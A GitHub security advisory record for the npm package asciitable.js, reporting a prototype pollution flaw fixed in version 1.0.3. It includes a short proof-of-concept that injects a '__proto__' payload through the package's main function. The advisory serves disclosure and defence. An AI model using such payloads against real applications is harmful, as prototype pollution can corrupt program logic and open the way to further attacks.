GHSA-5pxj-mhwj-x5gv

Source
https://github.com/advisories/GHSA-5pxj-mhwj-x5gv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-5pxj-mhwj-x5gv/GHSA-5pxj-mhwj-x5gv.json
Aliases
Published
2021-04-13T15:24:59Z
Modified
2023-11-08T04:04:09.606500Z
Details

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)
References

Affected packages

npm / asciitable.js

Package

Affected ranges

Type
SEMVER
Events
Introduced
0The exact introduced commit is unknown
Fixed
1.0.3